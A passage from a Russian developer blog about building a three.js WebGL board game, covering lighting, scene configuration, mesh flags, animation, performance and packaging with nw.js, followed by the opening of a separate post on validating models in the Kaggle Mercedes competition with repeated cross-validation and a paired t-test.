//Атмосферное свечение на фоновой сцене в данной игре не используется. Его видимость вполне реализуется шейдером небесной сферы.
//Далее задаем изменение цвета (яркости) тумана основной сцены:
ltambfog:{a1:-2, a2:8, k1:0.4, k2:1, obj:[
{obj:apscene.scene.fog.color, key:['r','g','b']}
]},
//И фоновой сцены:
ltambbfog:{a1:-2, a2:12, k1:0.25, k2:1, obj:[
{obj:apscene.sceneb.fog.color, key:['r','g','b']}
]},
//Задаем изменение плотности тумана основной сцены. Пусть вечером, ночью и рано утром туман будет становиться менее плотным, чем днем.
ltambfogd:{a1:8, a2:12, k1:0.2, k2:0.35, obj:[
{obj:apscene.scene.fog, key:['density']}
]},
//Фоновой сцены
ltambbfogd:{a1:6, a2:12, k1:0.2, k2:0.28, obj:[
{obj:apscene.sceneb.fog, key:['density']}
]},
//Дополнительно можно изменять, в зависимости от времени суток (а точнее, от высоты солнца), яркость некоторых объектов, чтобы они не светились ночью, в данном случае, плоскостей-«задников» с изображением лесов и воды, которые у меня имеют имена skyplane1..6:
planeAmb:{a1:-5, a2:12, k1:0.5, k2:1.0, obj:[
{obj:apscene.user.skyplane1.material.color, key:['r','g','b']},
{obj:apscene.user.skyplane2.material.color, key:['r','g','b']},
{obj:apscene.user.skyplane3.material.color, key:['r','g','b']},
{obj:apscene.user.skyplane4.material.color, key:['r','g','b']},
{obj:apscene.user.skyplane5.material.color, key:['r','g','b']},
{obj:apscene.user.skyplane6.material.color, key:['r','g','b']}
]}
//Вообще, в зависимости от высоты солнца, можно менять в игре все, что угодно.
};
```
В результате на сцене появится динамический небосвод с плавной сменой высоты солнца и, соответственно, сменой времени суток.
Совсем не обязательно использовать на сцене все виды освещения. И не обязательно менять все параметры в зависимости от времени суток. Но, играя их яркостью, все же, можно создать довольно реалистичную картину смены дня и ночи. Именовать параметры можно как угодно, главное — соблюдать внутри них ключи объектов как они заданы в three.js.
Как это выглядит, можно посмотреть на видео из демо сцены:
Это другая игра. Просто в ней горизонт не захламлен различными объектами и поэтому работа данного скрипта видна нагляднее всего. Но в игре, о которой идет повествование, используется ровно тот же подход. Высокая скорость течения времени здесь задана только с целью демонстрации, а так время течет, само собой, медленнее, при том же шаге итерации обновления небосвода. В этой демке, кстати, задействован шейдер воды, тоже с изменяемыми параметрами, в зависимости от высоты солнца… Но я его еще не доработал.
### Производительность
Все это весьма мало требовательно к железу. Работая в браузере Chrome, оно загружает Xeon E5440 под LGA775 (и с 4 гигами оперативки) на 20%, а ядро видеокарты GT730 — на 45%. Но это чисто из-за анимации воды. Если же говорить об игре, где нет воды, но есть город, вот об этой:
то в момент движения автомобиля по городу — проц 45%, видеокарта 50%. В принципе, с некоторой просадкой fps (на вид примерно до 30 кадров в секунду) это сносно работает даже на Pentium4 3GHz (1Gb RAM) и на планшете на Intel Atom 1.3GHz (2Gb RAM).
Все это железо крайне слабое и другие подобные игры на WebGL и на HTML5, даже некоторые 2D, на нем у меня тормозят безбожно, вплоть до того, что в них становится невозможно играть. Как говорится, напиши игры сам, как тебе надо, и играй.
### Сцена
3D сцена в three.js представляет собой объект scene и массив его children — это, собственно, все 3D модели, загруженные в сцену. Чтобы не прописывать вызов загрузчика для каждой моделей, я решил, что вся сцена игры будет задаваться в виде некой конфигурации, одним большим ассоциативным массивом locd:{} (типа — location data), в котором будут содержаться все настройки — света, путей предзагружаемых текстур и изображений для интерфейса, путей ко всем моделям, которые должны загрузиться на сцену, и другое. В общем, это полная конфигурация сцены. Она задается один раз в js-файле игры и скармливается моему загрузчику сцены.
И в этом объекте locd:{}, в частности, содержатся пути к отдельным 3D моделям, которые необходимо загрузить. Нулевым элементом идет общий путь, а затем — относительные пути для каждого объекта, типа:
```
['path/myObj', scale, y, x,z, r*Math.PI, 1, '', '', '', 1, ['','','',''], 'scene']
```
Подразумевается, что все модели экспортированы из 3D редактора в формат json, то есть, имеют пути типа path/myObj.json. Далее следует масштаб (поскольку в редакторе можно сохранить с неподходящим для данной игры масштабом), положение объекта по высоте (y), по осям (x) и (z), затем идет угол поворота ® модели по (y), ряд опциональных параметров и имя сцены, куда грузить модель — на основную сцену (scene) или на фоновую (sceneb).
Да, надо было реализовать это не в виде простого, а в виде ассоциативного массива. Так непонятен порядок следования параметров и без документации, или хотя бы без вида функции, которая принимает эти параметры, не разберешься. Думаю, в будущем переделаю эти строки в ассоциативные массивы. А пока это выглядит так:
```
landobj: [
['gamePath/'],
[
['landscape/ground', 9.455, 0, 0,0, 0*Math.PI, 1, '', '', '', 1, ['','','',''], 'scene'],
['landscape/plants', 9.455, 0, 0,0, 0*Math.PI,1, '', '', '', 1, ['','','',''], 'scene'],
['landscape/buildings/house01', 2, 0, -420,420, -0.75*Math.PI, 1, '', '', '', 1, ['','','',''], 'scene'],
...
]
],
```
Эти модели загружаются на сцену и размещаются в заданных здесь координатах в пространстве. В принципе, все модели могут загружаться как единый объект, то есть, экспортироваться из редактора как целая игровая сцена и загружаться в координаты (0;0;0). Тогда будет только одна строка: landscape/ground — у меня ground.json — это и есть основная часть игрового мира. Но в этом случае будет затруднительно манипулировать отдельными объектами сцены, так как нужно будет предварительно посмотреть в консоли браузера и запомнить какой из children этого огромного ground чем является. И далее обращаться к ним по номерам. Поэтому перемещаемые игровые модели лучше загружать отдельными объектами. Тогда к ним можно будет обращаться по именам из ассоциативного массива, который будет специально для этого автоматически создан.
Полностью конфигурация игры может выглядеть, например, так:
```
locd:{
//имена
name: 'SeaBattle',
type: 'game',
menulabel: '',
//координаты начальной позиции игрока
x:-420, y:70, z:-420,
rot: -0.5,
//дистанция захвата интерактивных объектов
intsdistance: 200,
//свет
ambLtColor: 0xFFFFFF,
ambLtColorBk: 0xFFFFFF,
lightD: [0xDDDDDD,0.3,1000, 200000,0.3,-0.0003, -190,200000,-140,0,0,0, 200,-200,200,-200],
lightDBk: [0xFFFFFF,0.3,10000, 40000,0.3,-0.0035, -190,1200,-140,0,0,0, 50000,-50000,50000,-50000],
lightH: [0xFFFFFF,0x999999,1, 0,500,0],
//контейнер для активных точечных источников света
lightsP: [],
//конфигурация каждого точечного источника света
lightsPDynamicAr: [
[0xffffff, 4, [0, -2000, 0], [50, 1.5] ] //[[distance], [decay]]
],
//координаты всех возможных появлений на сцене точечных источников света (x,y,z)
userPointLights: [
[0, -2000, 0]
],
//направленные источники света
lightsS: [
[0xffffbb, 1.0, [0, 250, 180], [0, 0, 180], 0.5, 600,600,600, -0.0005]
],
//настройки теней
shadowMapCullFace:0,
shadowsMode: 'all', //all,list,flag
//предзагружаемые изображения
imagePaths: [
'game/img/',
'interface.png', 'interface2.png'
],
//предзагружаемые 3D модели
landobj: [
['game/models/'],
[
['landscape/land',1, 0, 0,0, 0.0*Math.PI,1,'','','',1,['','','',''],'scene'],
['landscape/sbp',1, 0, 0,180, 1.0*Math.PI,1,'','','',1,['','','',''],'scene'],
['landscape/sbu',1, 0, 0,1120, 1.0*Math.PI,1,'','','',1,['','','',''],'scene']
]
],
//догружаемые модели после загрузки основных и отображения сцены
staffobj: [
['game/models2/'],
[
]
],
//интерактивные модели
progobj: [
[
]
]
},
```
Да, все эти подмассивы лучше переделать в ассоциативные массивы, а то непонятен порядок следования параметров в них…
### 3D модели
Еще из интересного. Загрузка моделей. Моя библиотека принимает 3D модели с текстурами и автоматически задает некоторые параметры их отдельным элементам (мешам), в зависимости от имен. Дело в том, что, если для модели, например, задано отбрасывать тень, то ее будет отбрасывать каждый меш, входящий в ее состав. Не всегда нужно, чтобы вся модель полностью отбрасывала тень или приобретала еще какие-либо свойства, сильно влияющие на производительность. Поэтому, если включить некий флаг сигнализирующий о том, что необходимо рассматривать каждый меш в отдельности, то при загрузке можно установить, какой меш будет обладать тем или иным свойством, а какой нет. Ну, например, совершенно нет необходимости в том, чтобы тень отбрасывала плоская горизонтальная крыша дома или множество каких-нибудь мелких несущественных деталей модели на фоне крупной. Все равно этих теней игроку будет не видно, а мощность видеопроцессора на их обработку будет задействована.
Для этого в графическом редакторе (Блендере, Максе и т.д.) можно сразу задать имена мешей (в поле name объекта) по определенному правилу. Там должен быть символ подчеркивания ( \_ ). В левой части должны идти условные управляющие символы, например: d — doubleside (меш двусторонний, в противном случае — односторонний), c (cast shadow) — отбрасывает тень, r (receive shadow) — принимает тени. То есть, например, имя меша трубы в составе дома может быть таким — cr\_tube. Используются и многие другие буквы. Например, «l» — это коллайдер, то есть, стена дома, имея имя crl\_wall01, не даст игроку пройти сквозь себя, а также будет отбрасывать и принимать тень. Делать коллайдерами, например крышу или ручку двери и тем самым ухудшать производительность нет никакой необходимости. Как вы уже поняли, моя библиотека при загрузке модели парсит имена мешей и придает им соответствующие свойства на сцене. Но для этого надо перед экспортом модели из 3D редактора грамотно именовать все меши. Это существенно сэкономит производительность.
Все управляющие флаги для мешей внутри объекта:
> col\_… — коллайдер (collider). Такой меш будет выведен просто как прозрачный, невидимый коллайдер. В редакторе он может выглядеть как угодно, важна только его форма. Например, это может быть параллелепипед вокруг всей модели, если нужно, чтобы игроку нельзя было пройти сквозь эту модель (здание, большой камень и т.д.).
>
>
>
> l\_… — коллайдер-объект (collidable object). Придание любому мешу свойства коллайдера.
>
>
>
> i\_… — пересечения (intersections). Меш будет добавлен в список intersections, что можно использовать, например, для клика на нем, то есть для придания интерактивности в игре.
>
>
>
> j\_… тоже пересечения (intersections). То же, что выше, только более новая версия — с улучшенным алгоритмом поиска пересечений в игре и меньшим потреблением ресурсов.
>
>
>
> e\_… — пересечения для дверей домов (entrance/exit). Исключает отработку пересечений по другим мешам объекта. Используется, если у домов нужно в какой-то момент сделать интерактивными только двери, исключив все остальные интерактивные элементы. При фантазии можно придумать этому и массу других применений.
>
>
>
> c\_… — отбрасывать тени (cast shadows). Меш отбрасывает тень.
>
>
>
> r\_… — принимать тени (receive shadows). Меш принимает тени от всех других мешей, которые их отбрасывают.
>
>
>
> d\_… — двусторонний (double sided). Видимый с обеих сторон, текстура накладывается с обеих сторон.
>
>
>
> t\_… — прозрачный (transparent), если для всего объекта задано значение alphatest в three.js.
>
>
>
> u\_… — прозрачный (transparent), с фиксированной плотностью (0.4), если для всего объекта не задано alphatest в three.js.
>
>
>
> g\_… — стекло (glass). Устанавливается фиксированная прозрачность (0.2).
>
>
>
> h\_… — невидимый (hidden). Для частей объекта (мешей) которые должны быть скрыты при добавлении объекта на сцену. Заносится в список скрытых.
>
>
>
> v\_… видимый (visible). Все объекты, кроме помеченных «h», и так видимы, но с флагом «v» они заносятся в отдельный список видимых для дальнейшего скрытия или других манипуляций.
В итоге, имя меша вполне может быть каким-нибудь таким: crltj\_box1 (отбрасывает, принимает тень, коллайдер, прозрачный, интерактивный). А другой меш в составе той же модели: cr\_box2 (только отбрасывает и принимает тени), Естественно, управляющие символы можно задавать в любом порядке. Таким образом, уже из редактора можно управлять будущим отображением частей объекта в игре, а точнее, некоторыми их свойствами, экономя, при этом, вычислительную мощность.
### Суть игры
Смысл, собственно, той игры, о которой повествование, заключается в том, чтобы передвигаться по периметру квадратного поля и покупать предприятия. Поле выполнено в виде 3D улиц. Экономическая модель игры существенно отличается от оных ей подобных. В моей игре, когда кто-то открывает предприятие, ваша ожидаемая прибыль падает. И наоборот, когда что-то открываете вы, то — возрастает. Все расчеты по прибыли и убыткам производятся в Налоговой инспекции на поле Старт. Также можно брать кредит в банке, торговать ценными бумагами и проворачивать ряд других дел. Я улучшил поведение ИИ по сравнению со старой версией. Переделал почти все 3D модели и текстуры игры и оптимизировал производительность. Сделал больше настроек и много чего еще.
### Анимация
Для анимации движения объектов игры используется простейший движок, который с заданной частотой кадров (она ограничена 60-ю) изменяет любые числовые параметры за заданный интервал времени, выдавая, при этом, в обработчик промежуточные значения. А в обработчике происходит, например, отображение модели.
К примеру. Нам нужно переместить в пространстве объект obj из позиции (10;10;50) в точку (100;300;60). Задаем 3 параметра путем указания их начальных и конечных значений. Координата x у нас будет изменяться от 10 до 100, y — от 10 до 300 и z — от 50 до 60. И все это должно произойти, скажем, за 4 секунды.
```
m3d.lib.anim.add(
'moveobj', 1, 4000, 'and', {userpar1:111, obj:my3DObject},
[
{lim1:10, lim2:100, sstart:10, sfin:100, t:0},
{lim1:10, lim2:300, sstart:10, sfin:300, t:0},
{lim1:50, lim2:60, sstart:50, sfin:60, t:0}
],
function(){ myPeriodicFun(this); },
function(){ myFinishFun(this); }
);
m3d.lib.anim.play();
```
Первая строка из 5 параметров: moveobj — имя анимации (любое), 1- номер потока (можно анимировать объекты параллельно в неограниченном количестве потоков), 4000 — время анимации 4 секунды, and — пока неиспользуемый параметр, который в будущем будет отвечать за логику перехода между анимациями внутри одного потока, userpar — любой ассоциативный массив, который будет передаваться в обработчик как параметр, например, с предрасчитанным радиусом, синусами, косинусами и вообще любыми предрассчитанными для данной анимации величинами, чтобы их не вычислять во время каждой итерации. Или со ссылкой на 3D объект, который, собственно, и будем анимировать.
Далее идет массив с изменяемыми параметрами. Мы уславливаемся, что первый параметр — это изменение координаты x, второй — y, третий — z. Прописываем для каждого в lim1 и lim2, от какой и до какой величины он будет изменяться. В sstart и sfin указываем те же значения. Здесь можно указать старт, например, с какой-либо другой величины, тогда параметр будет «прокручиваться» по кругу с нее и до нее же, минуя lim2 и начав новый «оборот» с lim1. Ну, например, это надо, если у нас анимация зациклена между какими-то величинами (lim1 и lim2), но стартовать нам ее надо не с начала (то есть, не с lim1), а с какого-то промежуточного значения.
t:0 как раз задает то, что анимация по данному параметру выполняется 1 раз, согласно общему времени (4000), как бы, растягиваясь на него. Если мы зададим другое число, меньше основного времени, то данный параметр будет зациклен и будет повторяться вплоть до истечения времени основной анимации (4000). Это удобно, например, для задания вращения объекту, когда угол должен многократно пересекать рубеж 360 градусов и сбрасываться на 0.
Далее идут 2 коллбека — тот, который будет выполняться с каждой итерацией и тот, что выполнится один раз по завершении всей анимации (точка выхода).
Первый коллбек myPeriodicFun(this), например, может быт таким:
```
myPeriodicFun:function(self) {
var state=self.par[0].state, state_old=self.par[0].state_old;
var state2=self.par[1].state, state_old2=self.par[1].state_old;
var state3=self.par[2].state, state_old3=self.par[2].state_old;
if ((state!=state_old)||(state2!=state_old2)||(state3!=state_old3)) {
var obj=self.userpar.obj;
obj.position.x=state;
obj.position.y=state2;
obj.position.z=state3;
ap.cameraFollowObj(obj);
};
},
```
То есть, при каждой итерации движения в эту функцию кидается параметр (self), содержащий рассчитанные промежуточные значения по всем заданным параметрам анимации: self.par[0].state, self.par[1].state, self.par[2].state. Это и есть наши x,y и z в текущий момент времени. Например, при длительности анимации 4 секунды, через 2 секунды x будет равен (100-10)/2 = 45. И так для всех координат. Соответственно, в myPeriodicFun просто отображаем наш объект в этих координатах. Если браузер начнет лагать или просто будет медленно работать на данном железе, не страшно: общее время анимации не изменится, упадет только фреймрейт и картинка превратится в слайд-шоу.
Для чего проверять f ((state!=state\_old)..., то есть, не равно ли новое вычисленное значение старому (в state\_old запоминается вычисленное в предыдущей итерации), ну, например, для того, чтобы, если какой-то параметр изменился менее, чем на единицу, то не перерисовывать весь объект и не тратить на это мощь системы. А движок анимации выдает в state и state\_old целые числа, которые, скажем, можно интерпретировать как шаг, равный пикселю. А если объект относительно предыдущего положения не сместился даже на 1 пиксель, то и нет необходимости его перерисовывать, поскольку его положение на экране не меняется.
В общем, под анимацией понимается простое изменение любого количества параметров за определенное время с выдачей их промежуточных значений в коллбек-функцию. Например можно добавить еще 4-й параметр, который будет отвечать за угол вращения объекта. А можно вообще в одну анимацию запихнуть параметры множества объектов, если они движутся как-то единообразно. Можно ставить анимации в разные потоки, тогда они будут обрабатываться параллельно. Можно добавлять (m3d.lib.anim.add()) в один поток целую последовательность анимаций, и они выполнятся друг за другом. Причем, в каждом потоке будет своя независимая последовательность. Главное, чтобы хватило мощности системы и все не превратилось в слайд-шоу.
P.S. Потоки здесь реализуются просто последовательным перебором при каждой итерации всех параллельных анимаций и вычислением для каждой из них промежуточных значений всех их параметров. Т.е., никакой реальной многопоточности в javascript нет.
Этот же «движок» можно использовать и для анимации элементов интерфейса, задав им изменение 2-х координат на плоскости экрана и отображая эти элементы в коллбэк-функциях по получаемым промежуточным значениям. Что, собственно, и сделано в моей игре.
### Динамические тени
Отображение теней на всей сцене оказалось настолько расточительным занятием, что при их включении fps падал в несколько раз. Это никуда не годится. Будем отображать тени от объектов в неком небольшом квадрате вокруг игрока. Скажу сразу, что такой прием существенно повышает фреймрейт.
Тут ничего сложного. Тени three.js отбрасываются внутри некой камеры теней, заданной параллелепипедом (shadowCameraLeft, shadowCameraRight, shadowCameraTop, shadowCameraBottom). Ее можно растянуть на всю сцену, а можно сделать так, чтобы она следовала за основной камерой и тени бы отбрасывались только вокруг нее. Единственное, чем я дополнил эту систему — это шагом, через который тени будут обновляться. Совершенно незачем делать это обновление при каждом подергивании игрока, так как это нагружает систему вычислениями. Пусть он преодолеет некоторое минимальное расстояние по любой из трех осей, чтобы тени обновились.
В моей библиотеке при инициализации 3D мира создается объект contr, который в любой момент времени содержит координаты камеры. Также там можно задать пользовательский параметр contr.cameraForShadowStep, который содержит шаг позиции камеры, при котором меняется положение камеры теней.
Если, скажем, параллелепипед камеры теней имеет размеры 700x700x700, то contr.cameraForShadowStep можно задать равным, например, 20. И при сдвиге игрока на 20 по любой из осей, исходная позиция вновь запомнится и обновятся тени вокруг игрока. Масштаб 3D мира может быть любым, в зависимости от того, в каком масштабе создавались все модели в 3D редакторе. И вполне вероятно, что вместо 700x700x700 и 20, нужно будет использовать 7000x7000x7000 и 200. Но сути это ни коем образом не меняет.
К слову, при движении солнца по небосводу тени обновляются независимо от этой системы, так как там должно меняться направление теней. То есть, будут обновляться даже в том случае, если игрок стоит без движения. Там тупо вызывается функция обновления теней по периоду обновления неба.
### Система точечных источников света
Наличие более десятка точечных источников света на сцене так же сильно бьет по fps, как и динамические тени. И даже делает невозможной игру на стареньком «Пеньке». Причем, неважно, находятся ли эти источники в поле видимости игрока (дальность прорисовки мира может задаваться) или же на значительном удалении. Если они тупо присутствуют на сцене, то все работает медленно. Поэтому я предусмотрел в меню настроек игры, которое можно вызвать до загрузки 3D мира, варианты количества таких источников (2, 4 или 8) под названием «Свет фонарей».
Таким образом, в ночное время включить все расставленные на сцене фонари одновременно не получится. Выше, в описании схемы инициализации мира я привел массивы userPointLights и lightsPDynamicAr. В userPointLights задаются массивом координаты всех ламп фонарей на сцене. А lightsPDynamicAr содержит настройки света для всех 8 экземпляров. В зависимости от настройки количества фонарей, библиотека будет брать первые из них и добавлять на сцену в поле видимости игрока.
Фактически во время движения игрока происходит поиск 2-8 ближайших к игроку фонарей по массиву координат фонарей userPointLights. И точечные источники света перемещаются под них. Иначе говоря, 2-8 ламп освещения следуют за игроком, окружая его. Причем, это тоже делается не при каждом кадре fps, а с задаваемым шагом. Совершенно незачем запускать функцию поиска 60 раз в секунду, тем более, если игрок не движется — тогда и пусть себе горят уже найденные вокруг него фонари.
Вот так это выглядит в движении (Xeon E5440, GeForce GT730):
### Сборка дистрибутива
Поскольку я не использую никакую навороченную среду разработки (кроме продвинутого блокнота), то я написал bat-файл, в котором вызывается Google Closure Compiler для обфускации кода каждого \*.js файла. А далее там же вызывается nwjc.exe из комплекта nw.js — для компиляции js в бинарники (\*.bin). приведу пример для одного из файлов:
> java -jar D:\webservers\Closure\compiler.jar --js D:\webservers\proj\m3d\www\game\bus\bus.js --js\_output\_file D:\webservers\proj\nwProjects\bus\game\bus\bus.js
>
>
>
> cd D:\«Program Files»\Web2Exe\down\nwjs-sdk-v0.35.5-win-ia32
>
>
>
> D:\«Program Files»\Web2Exe\down\nwjs-sdk-v0.35.5-win-ia32\nwjc.exe D:\webservers\proj\nwProjects\bus\game\bus\bus.js D:\webservers\proj\nwProjects\bus\game\bus\bus.bin
>
>
>
> del D:\webservers\proj\nwProjects\bus\game\bus\bus.js
Далее я использую простенькую утилиту Web2Executable для создания exe файла со сборкой под Windows. Версию nw.js я выбрал 0.35.5, несмотря на то, что доступны и более новые. Какого-то эффекта я от них не заметил, кроме увеличения размера сборки.
Утилита способна сама закачивать выбранную версию nw.js в указанную папку. На выходе получается сборка. В исполняемом файле объемом 35 мегабайт содержится, собственно, сама игра. Все остальное — node-webkit. В папке locales содержатся файлы, очевидно, с какими-то ресурсами на разных языках. Я их поудалял и оставил только относящиеся к английскому. К слову, это ничуть не помешало запускать и русскоязычную версию игры (в игре язык переключается между русским и английским). Для чего все эти файлы тогда, я не знаю. Но без английского ничего не запускается.
Вся сборка в итоге заняла 167 Мб.
Затем я упаковал все в один исполняемый файл-дистрибутив при помощи одной из бесплатных утилит, предназначенных для этой цели, и на выходе получил файл Businessman3DSetup.exe объемом 70,2 Мб.
### Публикация
Я разослал сборку в разные магазины приложений. В большинстве из них еще идет процесс модерации моей игры. На данный момент ее пока опубликовал только itch. Предупреждаю сразу, игра платная, цена — $3. Покупок пока нет, но я пока еще и не занимался ее продвижением. GOG в публикации отказал, ссылаясь на то, что игра довольно простая и нишевая. Я, в принципе, согласен. Epic Store, думаю, сделает то же.
Опубликованная версия игры — однопользовательская, с ботами в количестве от 1 до 5. Язык — русский и английский. Я намерен допилить сетевую версию. Но пока в раздумье — выпустить ее в виде такого же приложения или в форме браузерной веб-версии, доступной сразу и в Windows, и в Linux, и в iOs и в MacOs, и вообще везде, где браузер поддерживает WebGL. Ведь, по сути, webkit — браузер и игра прекрасно работает в нем, в Firefox, в Edge и даже в IE11 под Windows, правда, в последнем — весьма медленно.
### Выводы
Наверно я пока не готов выложить свой движок для всеобщего использования, поскольку он еще не закончен. Я собираюсь сначала написать на нем еще одну игру, как раз, ту, из демо-ролика, про корабли, потому что на той игре можно «обкатать» работу с шейдером воды. Кроме того, я планирую реализовать там простейший физический движок. Да и нужно еще допилить все остальные возможности, исправить все недочеты. И лучше это сделать на двух играх, чем на одной, поскольку возможны какие-то нюансы. А пока мой движок, на мой взгляд, все еще слишком сильно заточен под одну игру.
Кроме того, я вообще не уверен в том, что все это кому-нибудь нужно. Если посмотреть трезво, то никто не пишет игры на чистом javascript. Но мне это нравится, потому что игры получаются довольно легкими и быстрыми для браузера. Они быстро загружаются, не требуют много оперативной памяти и довольно шустро работают, по сравнению с конкурентами на html5, даже если сравнивать с 2D. Думаю, я на всех этих своих наработках выпущу еще не одну браузерную (и не только) игру. | https://habr.com/ru/post/450926/ | null | ru | null |
# Kaggle Mercedes и кросс-валидация
Всем привет, в этом посте я расскажу о том, как мне удалось занять 11 место в [конкурсе от компании Мерседес на kaggle](https://www.kaggle.com/c/mercedes-benz-greener-manufacturing), который можно охарактеризовать как лидера по количеству участников и по эпичности shake-up. Здесь можно ознакомиться с [моим решением](https://www.kaggle.com/c/mercedes-benz-greener-manufacturing/discussion/36242), там же ссылка на github, здесь можно посмотреть [презентацию моего решения в Yandex](https://youtu.be/HT3QpRp2ewA).
В этом посте пойдет речь о том, как студент консерватории попал в data science, стал призером двух подряд kaggle-соревнований, и каким образом методы математической статистики помогают не переобучиться на публичный лидерборд.
Начну я с того, что немного расскажу о задаче и о том, почему я взялся ее решать. Должен сказать, что в data science я человек новый. Лет 7 назад я закончил Физический Факультет СПбГУ и с тех пор занимался тем, что получал музыкальное образование. Идея немного размять мозг и вернуться к техническим задачам впервые посетила меня примерно два года назад, на тот момент я уже работал в оркестре Московской Филармонии и учился на 3 курсе в Консерватории. Начал я с того, что вооружившись книгой Страуструпа стал осваивать C++. Далее были конечно же разные онлайн курсы и примерно год назад я стал склоняться к мысли о том, что Data Science — это пожалуй именно то, чем я хотел бы заниматься в IT. Мое “образование” в Data Science — это [курс от Яндекса и Вышки на курсере](https://www.coursera.org/learn/vvedenie-mashinnoe-obuchenie), несколько курсов из [специализации МФТИ на курсере](https://www.coursera.org/specializations/machine-learning-data-analysis) и конечно же постоянное саморазвитие в соревнованиях.
Свою первую медальку kaggle я получил в соревновании от Сбербанка — я занял там 13 из 3000+ место, здесь [решение Сбербанка](https://www.kaggle.com/c/sberbank-russian-housing-market/discussion/35700) со ссылкой на github. И сразу после этого я решил вписаться в соревнование от Мерседеса, до окончания которого оставалось 10 дней. Это были очень тяжелые 10 дней моего отпуска, но, во-первых, я открыл для себя много нового, во-вторых, я получил в итоге еще одну золотую медальку. И в этом посте я бы хотел поделиться тем, что я почерпнул, решая эту задачу.
### Постановка задачи
На заводе Мерседес есть какая-то установка, которая тестирует новые автомобили. Время тестирования изменяется в достаточно широких пределах — ориентировочно от 50 до 250 секунд. Нам предлагается предсказать это время по более чем 300 различным признакам. Все признаки анонимизированны, но организаторы раскрыли их общий смысл. Было 8 категориальных признаков (они принимали значения вида A, XV, FD, B, ...), и это были характеристики автомобиля. Большинство признаков принимало значения 0 или 1 и являлись характеристиками тестов, которые проводились для каждой конкретной машины.
Теперь, когда общий план понятен, самое время переходить к деталям. Здесь бы я хотел сразу оговориться, что далее по тексту я не буду обсуждать тонкости ансамблирования алгоритмов или какие-то нетривиальные хитрости градиентного бустинга. Речь пойдет в основном о том, как валидироваться, чтобы не расстраиваться при открытии private leaderboard. Если отбросить все художественные подробности, мы имеем обычную задачу регрессии на анонимизированных фичах. Особенность этого конкурса состояла в маленьком (по меркам kaggle) датасете (трейн и тест примерно по 4000 объектов) и в весьма шумном таргете (боксплот таргета ниже).
Из боксплота становится очевидно, что мы столкнемся с трудностями при валидаци. Можно предположить, что на кросс-валидации нас ждет здоровенный разброс метрики по фолдам. И чтобы подлить масла в огонь, я уточню, что метрика соревнования — коэффициент детерминации (R2), который, как известно, очень чувствителен к выбросам.
Задачка привлекла столько участников прежде всего тем, что бейзлайн пишется в несколько строчек. Сделаем такой бейзлайн и посмотрим на результаты кросс-валидации:
```
import xgboost as xgb
from sklearn.model_selection import cross_val_score
import pandas as pd
import numpy as np
data = pd.read_csv('train.csv')
y_train = data['y']
X_train = data.drop('y', axis=1).select_dtypes(include=[np.number])
cross_val_score(estimator=xgb.XGBRegressor(), X=X_train, y=y_train,
cv=5, scoring='r2')
```
Вывод будет примерно таким:
`[ 0.37630003, 0.43968909, 0.5886552 , 0.54800137, 0.55752035]`
Стандартное отклонение по фолдам настолько велико, что сравнение средних теряет смысл (в подавляющем большинстве случаев средние будут отличаться менее чем на стандартное отклонение).
Все, что будет дальше, состоит из двух частей. Первая часть простая и приятная, вызвавшая живой интерес на тренировке в Яндексе. В ней я расскажу почему большое std (Standard Deviation) – не помеха для кросс-валидации и покажу красивый и несложный подход, ликвидирующий влияние этого std. Вторая часть более сложная, но, на мой взгляд, и значительно более важная. В ней я расскажу о том, почему это не панацея, как кросс-валидация может ввести нас в заблуждение, чего имеет смысл ожидать от кросс-валидации и как к ней относиться. Итак, поехали.
### Сравнение моделей на шумных данных
Для чего вообще нам нужна кросс-валидация? Когда мы решаем задачку, мы пробуем огромное количество разных моделей и хотим найти лучшую или лучшие. Таким образом, нам нужен способ сравнить две модели и достоверно выбрать из этой пары победителя. Именно в этом мы и просим помощи у кросс-валидации. Я оговорюсь, что под моделью я понимаю не просто какой-то алгоритм машинного обучения, а весь пайплайн, включающий в себя предобработку данных, отбор признаков, создание новых признаков, выбор алгоритма и его гиперпараметров. Любой из этих шагов является по сути гиперпараметром нашей модели, и мы хотим найти лучшие гиперпараметры для нашей задачи. А для этого необходимо уметь сравнивать две разные модели. Попробуем решить эту задачу.
Напомню, что значение функции потерь по фолдам кросс-валидации в задаче Мерседеса катастрофически непостоянное. Поэтому, просто сравнивая средний скор двух моделей на кросс-валидации, мы никаких выводов сделать не сможем (отличия будут в пределах погрешности). Я использовал такой подход:
1. Сделаем не одно разбиение на 5 фолдов, а 10. Теперь у нас есть 50 фолдов, но размер фолда остался прежним. В массиве scores мы получим 50 скоров на пятидесяти тестовых фолдах:
```
import numpy as np
from sklearn.model_selection import KFold, cross_val_score
scores = np.array([])
for i in range(10):
fold = KFold(n_splits=5, shuffle=True, random_state=i)
scores_on_this_split = cross_val_score(
estimator=xgb.XGBRegressor(), X=X_train, y=y_train,
cv=fold, scoring='r2')
scores = np.append(scores, scores_on_this_split)
```
2. Будем сравнивать не средний скор моделей, а то, насколько каждая из моделей лучше или хуже другой на соответствующем фолде. Или, что то же самое, *будем сравнивать с нулем среднее попарных разностей результатов двух моделей на соответствующих фолдах*.
Дальше я немного формализую второй пункт, но уже сейчас нужно понять, что ура, мы больше не зависим от того, что, скажем, в первом фолде у нас аутлаер, и скор там всегда очень низкий. Теперь скор на первом фолде не усредняется с остальными, он сравнивается исключительно со скором на том же фолде второй модели. Соответственно, нам больше не мешает то, что первый фолд всегда хуже второго, поскольку мы сравниваем не скор в среднем, а скор на каждом фолде и только потом усредняем.
Теперь перейдем к оценке статистической значимости. Мы хотим ответить на вопрос: значимо ли отличаются скоры наших двух моделей на наших 50 тестовых фолдах. Скоры наших моделей представляют собой связанные выборки, и я предлагаю воспользоваться статистическим критерием, специально предназначенным для таких случаев. Это t-критерий Стьюдента для связанных выборок. Я не буду перегружать пост рассуждениями о том, что гипотеза нормальности в нашем случае выполняется с достаточной точностью, и критерий Стьюдента применим — я подробно остановился на этом на тренировке в Яндексе, при желании можно посмотреть запись. Сейчас же я сразу перейду к практической части.
Статистика t-критерия имеет следующий вид:
где  – списки значений метрики по тестовым фолдам для первой и второй модели соответственно, S – дисперсия попарных разностей, n – число фолдов. Здесь я хочу оговориться, что описать процедуру проверки статистических гипотез и теорию, которая за этим стоит, я в этом посте не смогу. Не потому, что это сложно для понимания, а просто потому, что, как мне кажется, пост не совсем об этом. И еще потому, что это достаточно сложно для объяснения и, сделав этот пост длиннее на два экрана, я все равно едва ли сделаю эти вещи понятнее людям, для которых они в новинку. В первых двух неделях этого курса тема проверки статистических гипотез раскрыта исчерпывающим образом, очень рекомендую: <https://www.coursera.org/learn/stats-for-data-analysis/home/welcome>.
